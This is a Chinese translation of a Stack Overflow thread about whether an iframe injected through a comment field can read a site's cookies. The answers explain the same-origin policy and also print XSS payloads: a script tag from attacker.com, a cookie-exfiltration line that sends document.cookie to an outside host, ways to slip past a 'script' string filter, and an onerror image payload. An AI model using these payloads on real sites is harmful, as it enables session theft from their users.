跨站脚本攻击与Iframe

9
我正在尝试跨站脚本攻击。我有一个网站,允许用户插入评论并在网站上查看。该网站过滤了评论中的字符串"script",但允许使用iframes。我知道我可以嵌入一个指向我自己制作的网站的iframe,然后运行任何我想要的脚本。我的问题是:我的iframe脚本能否读取原始网站初始化的cookie?我尝试过alert(document.cookie),但它显示一个空白的警报。但是当客户端请求时,原始网站总是设置一个cookie。你知道我漏掉了什么吗?

2
要从 iframe 访问父页面(两个页面在同一个域名下),请使用 parent 对象,例如 parent.document.cookie - Peter Olson
4个回答

11

所在页面必须来自同一域名。这受到同源策略的限制,该策略规定一个框架中的脚本只有在以下条件满足时才能访问另一个框架中的数据:它们使用相同的协议、完全相同的域名,并且在同一端口上运行。通过将document.domain设置为顶级域名,可以稍微放宽这种限制,从而允许子域之间通信。

你可以尝试输入<script src="http://attacker.com/myscript.js"></script>,但这可能在较新的浏览器中被拦截。

然而,仅限制脚本是不足以防止跨站脚本攻击的。还有很多其他途径。请参见http://html5sec.orghttp://ha.ckers.org/xss.html


如果我理解正确的话,设置document.domain的事情应该由子iframe来处理,是吗?(因为在父文档中进行此操作会返回网络错误) - user2284570

4

你好,您的意思是将cookie作为XSS攻击的载荷吗?

实际上,您是想窃取cookie吗?

但是,如果该网站允许您插入评论并仅删除“script”,那么您可以使用多种替代方案来插入XSS,包括cookie窃取脚本。

请尝试以下方法:

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;

但是你想编码单词"script",你可以尝试使用

ScRiPt

或Unicode 73 63 72 69 70 74


1

Cookie遵循同源策略。因此,如果攻击网站和受害网站(允许iframe打开)具有相同的主机,则运行document.cookie时弹出窗口将包含cookie信息。 由于在您的情况下它们似乎属于不同的域,因此无法进行cookie窃取。 为了防止XSS攻击,更好的方法是使用核心jstl库的C:out标签。


0
据我所知,如果 iframe 的域名与原始网站的域名不同,则 iframe 无法访问原始网站,但是还存在其他问题(例如黑客评论<img src="asdf" onerror="alert(document.cookie)"/>)。
您可能需要使用类似HTML Purifier的工具...

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接